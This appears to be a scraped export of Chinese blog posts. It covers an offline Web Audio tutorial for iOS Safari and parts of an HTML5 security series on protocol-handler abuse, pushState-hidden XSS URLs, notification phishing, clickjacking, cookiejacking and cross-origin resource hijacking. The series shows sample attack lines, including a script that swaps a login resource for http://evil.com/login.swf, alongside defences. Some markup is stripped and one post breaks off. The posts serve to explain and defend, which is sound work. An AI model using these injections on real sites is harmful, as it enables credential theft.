chrome.tabs.create({url: room_link});abs.create({URL:room_link}); ~~~       我们为屏幕共享设想了很多有趣的用例,即使在这个早期的发展阶段,基于插件的标签录制和分享有多快和多稳定也给我们留下了深刻的印象。       如果你想了解更多关于WebRTC的内容,请查阅[HTML5 Rocks的文章](http://www.html5rocks.com/en/tutorials/webrtc/basics/)或我们的[快速入门指南](https://docs.google.com/document/d/1idl_NYQhllFEFqkGQOLv8KBK8M3EVzyvxnKkHl4SuM8/edit) 。       祝大家2013年快乐!       相关文章:《[Chrome引入WebRTC支持视频聊天App](http://blog.csdn.net/hfahe/article/details/8083572)》       《[如何使用HTML5实现拍照上传应用](http://blog.csdn.net/hfahe/article/details/7354912)》       《[对HTML5 Device API相关规范的解惑](http://blog.csdn.net/hfahe/article/details/7338032)》        译自:http://updates.html5rocks.com/2012/12/Screensharing-with-WebRTC        转载请注明:来自蒋宇捷的博客-http://blog.csdn.net/hfahe
';

在iOS Safari中播放离线音频

最后更新于:2022-04-01 19:44:42

      在iOS的Safari浏览器上播放缓存的音频供离线使用一直是一个挑战,已经被证明是[不可能完成的任务](http://happyworm.com/blog/2012/05/29/playing-web-audio-offline-on-mobile-safari-mission-impossible/) 。但随着[网络音频](https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html)API的发展(仅支持WebKit内核),现在终于实现了-不过还需要经过一些步骤。       坏消息是我们还无法使用[应用缓存](http://html5doctor.com/go-offline-with-application-cache/)缓存MP3文件,然后简单地使用XmlHttpRequest进行加载。iOS6上的Safari浏览器可以缓存MP3,但是会拒绝播放它。       **但是这不代表着无药可救**       **使用Base64编码**       因为网络音频API为开发者提供了[AudioBuffer](https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html#AudioBufferSourceNode),你现在可以马上使用它来转换数据格式,并且把它们直接采用网络音频API来进行播放。例如,如果你把一个MP3文件编码成Base64,你可以把它解码为[ArrayBuffer](https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer),变成原始的音频数据。       **编码音频文件**       你可以很容易地使用[OpenSSL](http://www.openssl.org/)将MP3文件转换为Base64字符串。MacOS X系统已经预装了OpenSSL,所以只需打开终端程序,然后键入以下命令: ~~~ openssl base64 -in [infile] -out [outfile] ~~~       请确保把[infile]更换为你MP3的路径,而将[outfile]替换为你所选择的编码数据的目标路径。       这将把声音文件输出为Base64编码的字符串。然后,你可以选择使用任何形式的网络存储(例如[应用缓存](http://html5doctor.com/go-offline-with-application-cache/),[本地存储](http://html5doctor.com/storing-data-the-simple-html5-way-and-a-few-tricks-you-might-not-have-known/),或者[webSQL](http://html5doctor.com/introducing-web-sql-databases/))来缓存字符串。       **Base64到ArrayBuffer**       为了把Base64字符串解码为ArrayBuffer,你需要使用一个自定义的方法。丹尼尔·格雷罗的[base64-binary.js](https://github.com/danguer/blog-examples/blob/master/js/base64-binary.js)是一个好的脚本,可以准确的实现这个目的。它把Base64字符串转换成一个[Uint8Array](https://developer.mozilla.org/en/JavaScript_typed_arrays/Uint8Array)类型的数组,并将其存储在一个ArrayBuffer中。       一旦做到这一点,你可以简单地采用网络音频API的decodeAudioData()方法来解码音频数据: ~~~ var buff = Base64Binary.decodeArrayBuffer(sound); myAudioContext.decodeAudioData(buff, function(audioData) { myBuffer = audioData; }); ~~~       一旦你的音频数据解码完成,将它传递给音频缓冲源并播放声音: ~~~ mySource = myAudioContext.createBufferSource(); mySource.buffer = myBuffer; mySource.connect(myAudioContext.destination); mySource.noteOn(0); ~~~       **演示和源代码**       此处是[在线演示](http://alxgbsn.co.uk/offlinewebaudio/)和[源代码](https://github.com/alexgibson/offlinewebaudio)。       **浏览器支持**       目前此演示支持Safari 6,Chrome桌面版和iOS6 Safari浏览器。该技术未来可以工作在任何支持网络音频API的浏览器上,所以我希望Chrome移动浏览器能尽快的添加支持。       W3C目前正在完善网络音频API[标准](http://www.w3.org/2011/audio/wiki/W3C_Audio_Publications_and_Milestones)。         译自:[http://html5doctor.com/taking-web-audio-offline-in-ios-6-safari/](http://html5doctor.com/taking-web-audio-offline-in-ios-6-safari/)         转载请注明出处:蒋宇捷的博客-http://blog.csdn.net/hfahe
';

HTML5安全攻防详析之七:新标签攻击

最后更新于:2022-04-01 19:44:40

       HTML5去掉了很多过时的标签,例如`
`和,同时又引入了许多有趣的新标签,例如`
';

HTML5安全风险详析之六:API攻击

最后更新于:2022-04-01 19:44:37

      HTML5里有许多协议、模式和API,可能成为攻击者的攻击途径。       **一、registerProtocolHandler:信息泄漏**       HTML5允许某些协议和schema注册为新的特性。例如下面的语句可以注册一个email handler。 ~~~ navigator.registerProtocolHandler(“mailto”,“http://www.f.com/?uri=%s", “Evil Mail"); ~~~       它会将一个恶意网站处理器关联到mailto这个协议上,所以它在某些情况下的滥用会导致用户信息泄漏。       **二、文件API:窃取文件**       HTML5另外一些API从安全角度来看很有意思,它们还能混合起来使用。       例如文件API允许浏览器访问本地文件,攻击者可以将它与[点击劫持](http://blog.csdn.net/hfahe/article/details/8138728)和其他攻击混合起来获得用户本地的文件。比如骗取你从本地拖放文件到页面里,这种方法在[劫持攻击](http://blog.csdn.net/hfahe/article/details/8138728)一文中有较详细的阐述。       **三、历史API:隐藏XSS URL**       利用HTML5历史API的pushState,可以隐藏浏览器地址栏的攻击URL。例如我在浏览器地址栏输入 ~~~ http://test.baidu.com/?text=
~~~       这个地址,用户将会仅仅只看到[http://test.baidu.com/](http://test.baidu.com/)。       这个问题和现在流行的短网址技术结合起来,具有更大的隐蔽性。想象一下我们在微博上看到一个短网址,不会有任何怀疑就会点击这个地址查看内容,而最后看到的地址也是相当正常的,但是在这个过程中用户的信息和资料就不知不觉被盗取了。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5665ef7.jpg) 短URL结合历史API的攻击       **四、Web Notifications:盗取数据**       [Web Notifications](http://dvcs.w3.org/hg/notifications/raw-file/tip/Overview.html)让我们在浏览器中能够接收推送的消息通知,但是它有可能会被攻击者利用来构造虚假信息,骗取用户数据。       例如下图里右下角的弹窗通知看起来非常正常,需要我们输入Gmail密码来登录查看新邮件。但是一旦输入密码,Gmail邮箱就被盗取了。我们可以仔细看看,弹窗左上角显示的域名是gmai1.com!这正是一个钓鱼网站的欺诈手段。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa56792d9.jpg) 桌面通知攻击       最后,随着HTML5的发展,未来还可能出现新的HTML5安全问题,还可能还会向着复杂化和智能化去发展。       相关文章:       《[关注HTML5安全风险](http://blog.csdn.net/hfahe/article/details/7960705)》       《[HTML5安全风险详析之一:CORS攻击](http://blog.csdn.net/hfahe/article/details/7961566)》       《[HTML5安全风险详析之二:WebStorage攻击](http://blog.csdn.net/hfahe/article/details/7961618)》       《[HTML5安全风险详析之三:WebSQL攻击](http://blog.csdn.net/hfahe/article/details/8049414)》       《[HTML5安全风险详析之四:Web Worker攻击](http://blog.csdn.net/hfahe/article/details/8104263)》       《[HTML5安全风险详析之五:劫持攻击](http://blog.csdn.net/hfahe/article/details/8138728)》       本文为原创文章,转载请注明:来自[蒋宇捷的博客](http://blog.csdn.net/hfahe):[http://blog.csdn.net/hfahe](http://blog.csdn.net/hfahe)
';

HTML5安全风险详析之五:劫持攻击

最后更新于:2022-04-01 19:44:35

      下面我们要讲到一类的HTML5安全问题,也就是劫持的问题。       一、**ClickJacking-点击劫持**       这种攻击方式正变得越来越普遍。被攻击的页面作为iframe,用Mask的方式设置为透明放在上层,恶意代码偷偷地放在后面的页面中,使得一个页面看起来似乎是安全的,然后诱骗用户点击网页上的内容,达到窃取用户信息或者劫持用户操作的目的。下图中,欺诈的页面放置在下层,被攻击的银行页面作为透明的层放置在上层,用户看到的是欺诈页面上显示的信息并进行输入和点击,但是真正的用户行为是发生在银行页面上的。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa55c2003.jpg)       想象一下,点击劫持可以诱使你发布一条虚假微博、或者发送一封虚假邮件甚至盗取你的个人信息。例如下图可以诱使我们发布一条虚假的Twitter消息。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa55d8a43.jpg)       这里有一个测试工具[clickjacktest](http://www.protecht.ca/clickjacktest)可以检测你的页面是否有点击劫持的风险,你可以输入一个网址并点击Test,如果页面可以正常显示并加载,那么表示这个页面存在被点击劫持攻击的风险,如果页面显示为一片空白,那么表示页面比较安全。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa55f18ff.jpg)       二、**CookieJacking-Cookie劫持**       ClickJacking只涉及点击操作,但是HTML5的拖放API使得这种攻击扩大到拖放操作。因为现在Web应用里,有大量需要用户拖放完成的操作。在同源策略里,一个域的Cookie只能被本域所访问,但是拖放操作是不受同源策略限制的,这样利用拖放操作、XSS和其他技巧,可以构造跨域合法请求,劫持Cookie。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5612943.jpg) 把Cookie从一个域拖拽到另外一个域里       实现原理其实和ClickJacking类似,只要欺骗用户进行拖放行为,就可以把用户某个域的信息发送到另外一个域里。这个其实很容易做到,之前有一个研究者就在Facebook上建立了一个应用,这个应用的功能是让用户把图片上美女的衣服拖拽下来。我想可能大多数人都会去尝试而且不会有警惕心理。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa5625105.jpg) 一个诱骗拖放的小游戏       我们应当如何防止ClickJacking、CookieJacking呢?       1、X-Frame-Options:所有的现代浏览器都支持X-Frame-Options HTTP头,这个头允许页面被iframe使用时是否正常渲染。下图中的页面就是当X-Frame-Options生效时的效果。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa563caae.jpg)       2、Javascript方式       这种方式非常常见,具体代码就是: ~~~ if (top !==window) top.location = window.location.href; ~~~       Facebook和Twitter都使用了这种方式,但是这种方式并不是完全奏效的,例如攻击者可以使用204转向或者禁用Javascript的方式来绕过(例如iframe沙箱)。       不过现在至少80%以上的网站都没有注意到点击劫持和cookie劫持的问题并加以保护。我这篇文章的主要目的就是提醒大家注意到这种隐蔽的攻击方式并有针对性的进行防御。       三、**CORJacking-跨域资源劫持**       CORJacking是指跨源资源劫持。HTML5应用有各种不同的资源,例如Flash文件,Silverligh,视频,音频等,这些资源可以通过DOM访问和控制。如果页面存在XSS漏洞,那么攻击者可能通过跨域资源的劫持进行攻击。例如下面的代码载入了一个swf文件,作为用户登录框,这里面我们可以实现一些加密的逻辑。 ~~~ ~~~       当页面存在XSS漏洞时,攻击者可以利用如下脚本把swf文件替换为欺诈的虚假资源。 ~~~ document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’; ~~~       那么当用户在这样的登录框里输入自己的用户名和密码并登录时,他的帐号就已经被盗取了。 ![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-08-09_57a9aa564e9b4.jpg)       这个问题在不同浏览器里面表现是不一致的,有兴趣的朋友可以下去自行测试。       相关文章:       《[关注HTML5安全风险](http://blog.csdn.net/hfahe/article/details/7960705)》       《[HTML5安全风险详析之一:CORS攻击](http://blog.csdn.net/hfahe/article/details/7961566)》       《[HTML5安全风险详析之二:WebStorage攻击](http://blog.csdn.net/hfahe/article/details/7961618)》       《[HTML5安全风险详析之三:WebSQL攻击](http://blog.csdn.net/hfahe/article/details/8049414)》       《[HTML5安全风险详析之四:Web Worker攻击](http://blog.csdn.net/hfahe/article/details/8104263)》       本文为原创文章,转载请注明:来自[蒋宇捷的博客](http://blog.csdn.net/hfahe):[http://blog.csdn.net/hfahe](http://blog.csdn.net/hfahe)
';